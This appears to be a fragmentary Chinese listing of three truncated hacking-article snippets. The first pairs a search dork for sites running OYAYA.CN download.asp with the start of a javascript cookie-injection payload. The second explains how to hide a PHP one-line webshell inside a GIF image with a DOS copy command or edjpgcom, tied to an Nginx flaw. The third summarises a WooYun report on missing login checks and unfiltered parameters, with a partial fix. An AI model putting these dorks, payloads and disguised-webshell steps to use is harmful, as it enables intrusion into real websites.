批量关键字：Powered By OYAYA.CN inurl:download.asp利用代码： javascript:alert(document.cookie=”BigClassName=”+escape(“%25...

先说一下Nginx那个0day 先合并一张PHP一句话图片马，合并方法： ①、DOS合并：copy 1.gif /b + 1.txt/a asp.gif ②、用edjpgcom，进行图片和一句话木马的合并，一句话代码为&nbs...

漏洞报告：http://www.wooyun.org/bugs/wooyun-2010-01515 漏洞描述：未对是否登录进行判断[重要]、未过滤 ecid 和 cid防范措施：打开 admin/ajax.asp 找到 Di...